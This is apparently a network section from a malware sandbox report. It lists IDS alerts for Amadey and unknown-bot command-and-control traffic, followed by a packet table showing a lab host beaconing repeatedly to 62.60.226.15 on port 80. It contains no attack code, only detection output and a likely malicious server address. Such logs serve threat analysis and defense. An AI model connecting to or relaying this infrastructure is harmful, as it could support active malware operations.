2024-12-16T15:29:02.594430+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49769	62.60.226.15	80	TCP
2024-12-16T15:29:05.614851+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49770	62.60.226.15	80	TCP
2024-12-16T15:29:08.634245+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49771	62.60.226.15	80	TCP
2024-12-16T15:29:11.647684+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49772	62.60.226.15	80	TCP
2024-12-16T15:29:14.555622+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49773	62.60.226.15	80	TCP
2024-12-16T15:29:17.565382+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49774	62.60.226.15	80	TCP
2024-12-16T15:29:20.475157+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49775	62.60.226.15	80	TCP
2024-12-16T15:29:23.497436+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49776	62.60.226.15	80	TCP
2024-12-16T15:29:26.426738+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49777	62.60.226.15	80	TCP
2024-12-16T15:29:29.457152+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49778	62.60.226.15	80	TCP
2024-12-16T15:29:32.365433+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49779	62.60.226.15	80	TCP
2024-12-16T15:29:35.385154+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49780	62.60.226.15	80	TCP
2024-12-16T15:29:38.291763+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49781	62.60.226.15	80	TCP
2024-12-16T15:29:41.307857+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49782	62.60.226.15	80	TCP
2024-12-16T15:29:44.244429+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49783	62.60.226.15	80	TCP
2024-12-16T15:29:47.343687+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49784	62.60.226.15	80	TCP
2024-12-16T15:29:50.245706+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49785	62.60.226.15	80	TCP
2024-12-16T15:29:53.259229+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49786	62.60.226.15	80	TCP
2024-12-16T15:29:56.163704+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49787	62.60.226.15	80	TCP
2024-12-16T15:29:59.176037+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49788	62.60.226.15	80	TCP
2024-12-16T15:30:02.089631+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49789	62.60.226.15	80	TCP
2024-12-16T15:30:05.282733+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49790	62.60.226.15	80	TCP
2024-12-16T15:30:08.182139+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49791	62.60.226.15	80	TCP
2024-12-16T15:30:11.266405+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49792	62.60.226.15	80	TCP
2024-12-16T15:30:14.166027+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49793	62.60.226.15	80	TCP
2024-12-16T15:30:17.187703+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49794	62.60.226.15	80	TCP
2024-12-16T15:30:20.087650+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49795	62.60.226.15	80	TCP
2024-12-16T15:30:23.097527+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49796	62.60.226.15	80	TCP
2024-12-16T15:30:26.007164+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49797	62.60.226.15	80	TCP
2024-12-16T15:30:29.047734+0100	2856097	ETPRO MALWARE Win32/Unknown Bot CnC Activity (M2)	1	192.168.2.10	49798	62.60.226.15	80	TCP
2024-12-16T15:30:31.953635+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.10	49799	62.60.226.15	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 15:26:43.834256887 CET	49714	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:43.954107046 CET	80	49714	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:43.954211950 CET	49714	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:43.954461098 CET	49714	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:44.076771975 CET	80	49714	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:45.224833965 CET	80	49714	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:45.224973917 CET	49714	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:46.737582922 CET	49714	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:46.738023043 CET	49715	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:46.857806921 CET	80	49714	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:46.857819080 CET	80	49715	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:46.857913017 CET	49714	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:46.857969046 CET	49715	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:46.858215094 CET	49715	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:46.978010893 CET	80	49715	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:48.353238106 CET	80	49715	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:48.353310108 CET	49715	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:49.971374989 CET	49715	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:49.971738100 CET	49717	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:50.091572046 CET	80	49715	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:50.091589928 CET	80	49717	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:50.091727018 CET	49717	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:50.091727018 CET	49715	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:50.092807055 CET	49717	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:50.213057995 CET	80	49717	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:51.362000942 CET	80	49717	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:51.362061977 CET	49717	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:52.878149033 CET	49717	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:52.878413916 CET	49719	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:52.998404026 CET	80	49719	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:52.998681068 CET	49719	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:52.998740911 CET	80	49717	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:52.998825073 CET	49717	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:52.998887062 CET	49719	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:53.118884087 CET	80	49719	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:54.291321993 CET	80	49719	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:54.291472912 CET	49719	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:55.926737070 CET	49719	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:55.927150011 CET	49721	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:56.046885967 CET	80	49721	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:56.047089100 CET	80	49719	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:56.047112942 CET	49721	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:56.047148943 CET	49719	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:56.047297001 CET	49721	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:56.166974068 CET	80	49721	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:57.320094109 CET	80	49721	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:57.320156097 CET	49721	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:58.830748081 CET	49721	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:58.831209898 CET	49724	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:59.121535063 CET	80	49724	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:59.121640921 CET	80	49721	62.60.226.15	192.168.2.10
Dec 16, 2024 15:26:59.121697903 CET	49721	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:59.121699095 CET	49724	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:59.122020006 CET	49724	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:26:59.241924047 CET	80	49724	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:00.400932074 CET	80	49724	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:00.400999069 CET	49724	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:02.018484116 CET	49724	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:02.019300938 CET	49726	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:02.138840914 CET	80	49724	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:02.139017105 CET	49724	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:02.139089108 CET	80	49726	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:02.139183044 CET	49726	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:02.139483929 CET	49726	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:02.259147882 CET	80	49726	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:03.413563013 CET	80	49726	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:03.413712978 CET	49726	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:05.002695084 CET	49726	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:05.003137112 CET	49729	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:05.122983932 CET	80	49729	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:05.123104095 CET	80	49726	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:05.123173952 CET	49729	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:05.123173952 CET	49726	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:05.123493910 CET	49729	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:05.243282080 CET	80	49729	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:06.394505024 CET	80	49729	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:06.394649029 CET	49729	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:08.127666950 CET	49729	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:08.127980947 CET	49730	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:08.248212099 CET	80	49730	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:08.249468088 CET	49730	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:08.249468088 CET	49730	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:08.272063971 CET	80	49729	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:08.272443056 CET	49729	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:08.369450092 CET	80	49730	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:09.527472019 CET	80	49730	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:09.529479027 CET	49730	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:11.051611900 CET	49730	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:11.051862955 CET	49731	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:11.171794891 CET	80	49731	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:11.171992064 CET	49731	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:11.172159910 CET	80	49730	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:11.172192097 CET	49731	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:11.172234058 CET	49730	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:11.291851997 CET	80	49731	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:12.442954063 CET	80	49731	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:12.443161011 CET	49731	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:14.065393925 CET	49731	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:14.065958977 CET	49732	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:14.185671091 CET	80	49731	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:14.185795069 CET	80	49732	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:14.185880899 CET	49731	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:14.185980082 CET	49732	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:14.186387062 CET	49732	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:14.306175947 CET	80	49732	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:15.474734068 CET	80	49732	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:15.474900961 CET	49732	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:16.988177061 CET	49732	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:16.988538980 CET	49733	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:17.108315945 CET	80	49732	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:17.108340025 CET	80	49733	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:17.108436108 CET	49732	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:17.108473063 CET	49733	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:17.108700991 CET	49733	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:17.229002953 CET	80	49733	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:18.378388882 CET	80	49733	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:18.378505945 CET	49733	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:20.002840996 CET	49733	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:20.003293991 CET	49735	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:20.123058081 CET	80	49733	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:20.123076916 CET	80	49735	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:20.123239040 CET	49733	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:20.123239040 CET	49735	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:20.123505116 CET	49735	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:20.243201971 CET	80	49735	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:21.397772074 CET	80	49735	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:21.399440050 CET	49735	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:22.911669970 CET	49735	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:22.912107944 CET	49736	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:23.032208920 CET	80	49736	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:23.032345057 CET	49736	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:23.032721996 CET	49736	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:23.032825947 CET	80	49735	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:23.032883883 CET	49735	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:23.152745008 CET	80	49736	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:24.316565037 CET	80	49736	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:24.316665888 CET	49736	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:26.018182039 CET	49736	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:26.018562078 CET	49737	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:26.138323069 CET	80	49737	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:26.138338089 CET	80	49736	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:26.138401031 CET	49737	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:26.138434887 CET	49736	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:26.249377966 CET	49737	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:26.369301081 CET	80	49737	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:27.406558990 CET	80	49737	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:27.406641960 CET	49737	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:29.025949955 CET	49737	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:29.026371002 CET	49738	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:29.146337986 CET	80	49737	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:29.146383047 CET	80	49738	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:29.146410942 CET	49737	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:29.146477938 CET	49738	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:29.146754980 CET	49738	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:29.266735077 CET	80	49738	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:30.416800022 CET	80	49738	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:30.416976929 CET	49738	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:32.036072969 CET	49738	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:32.036407948 CET	49739	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:32.156141043 CET	80	49739	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:32.156160116 CET	80	49738	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:32.156312943 CET	49738	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:32.156339884 CET	49739	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:32.156647921 CET	49739	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:32.276429892 CET	80	49739	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:33.426440001 CET	80	49739	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:33.426547050 CET	49739	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:34.940545082 CET	49739	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:34.940916061 CET	49740	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:35.060744047 CET	80	49740	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:35.060878038 CET	49740	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:35.060956001 CET	80	49739	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:35.061024904 CET	49739	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:35.061167955 CET	49740	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:35.181351900 CET	80	49740	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:36.331129074 CET	80	49740	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:36.331228971 CET	49740	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:37.956095934 CET	49740	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:37.956489086 CET	49741	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:38.076311111 CET	80	49741	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:38.076447964 CET	80	49740	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:38.076458931 CET	49741	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:38.076518059 CET	49740	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:38.076776028 CET	49741	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:38.196647882 CET	80	49741	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:39.343921900 CET	80	49741	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:39.344101906 CET	49741	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:40.850918055 CET	49741	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:40.851396084 CET	49742	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:40.972385883 CET	80	49742	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:40.972536087 CET	49742	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:40.972737074 CET	49742	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:40.973176003 CET	80	49741	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:40.973242998 CET	49741	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:41.095097065 CET	80	49742	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:44.971085072 CET	49742	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:46.600495100 CET	49744	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:46.720419884 CET	80	49744	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:46.720587969 CET	49744	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:46.720798969 CET	49744	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:46.840483904 CET	80	49744	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:47.992178917 CET	80	49744	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:47.992324114 CET	49744	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:49.505201101 CET	49744	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:49.505656958 CET	49745	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:49.625597954 CET	80	49745	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:49.625622034 CET	80	49744	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:49.625766993 CET	49744	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:49.625785112 CET	49745	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:49.626089096 CET	49745	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:49.745899916 CET	80	49745	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:50.896311998 CET	80	49745	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:50.897185087 CET	49745	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:52.520420074 CET	49745	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:52.520689011 CET	49746	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:52.640788078 CET	80	49746	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:52.640922070 CET	49746	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:52.640996933 CET	80	49745	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:52.641102076 CET	49745	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:52.641288042 CET	49746	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:52.761811018 CET	80	49746	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:53.914063931 CET	80	49746	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:53.914197922 CET	49746	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:55.427292109 CET	49746	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:55.427733898 CET	49747	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:55.547414064 CET	80	49746	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:55.547441006 CET	80	49747	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:55.547544956 CET	49746	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:55.547647953 CET	49747	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:55.547861099 CET	49747	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:55.667499065 CET	80	49747	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:56.847098112 CET	80	49747	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:56.847198009 CET	49747	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:58.473814011 CET	49747	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:58.473901033 CET	49748	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:58.593626022 CET	80	49748	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:58.593774080 CET	49748	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:58.594018936 CET	80	49747	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:58.594050884 CET	49748	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:58.594125032 CET	49747	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:27:58.714335918 CET	80	49748	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:59.914592981 CET	80	49748	62.60.226.15	192.168.2.10
Dec 16, 2024 15:27:59.914670944 CET	49748	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:01.482891083 CET	49748	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:01.483261108 CET	49749	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:01.604245901 CET	80	49749	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:01.604403973 CET	49749	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:01.604549885 CET	80	49748	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:01.604610920 CET	49748	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:01.628324986 CET	49749	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:01.748419046 CET	80	49749	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:02.874509096 CET	80	49749	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:02.875483990 CET	49749	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:04.533859015 CET	49749	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:04.534657001 CET	49750	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:04.654114962 CET	80	49749	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:04.654532909 CET	80	49750	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:04.654601097 CET	49749	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:04.654622078 CET	49750	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:04.655003071 CET	49750	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:04.774657965 CET	80	49750	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:05.949956894 CET	80	49750	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:05.950272083 CET	49750	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:07.457544088 CET	49750	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:07.457943916 CET	49751	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:07.577924013 CET	80	49751	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:07.578038931 CET	49751	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:07.578254938 CET	80	49750	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:07.578259945 CET	49751	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:07.578314066 CET	49750	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:07.698255062 CET	80	49751	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:08.862075090 CET	80	49751	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:08.862169981 CET	49751	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:10.490210056 CET	49751	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:10.490608931 CET	49752	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:10.610440016 CET	80	49752	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:10.610523939 CET	49752	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:10.610552073 CET	80	49751	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:10.610723972 CET	49751	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:10.610791922 CET	49752	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:10.730674028 CET	80	49752	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:11.888140917 CET	80	49752	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:11.888302088 CET	49752	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:13.396559000 CET	49752	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:13.396954060 CET	49753	80	192.168.2.10	62.60.226.15
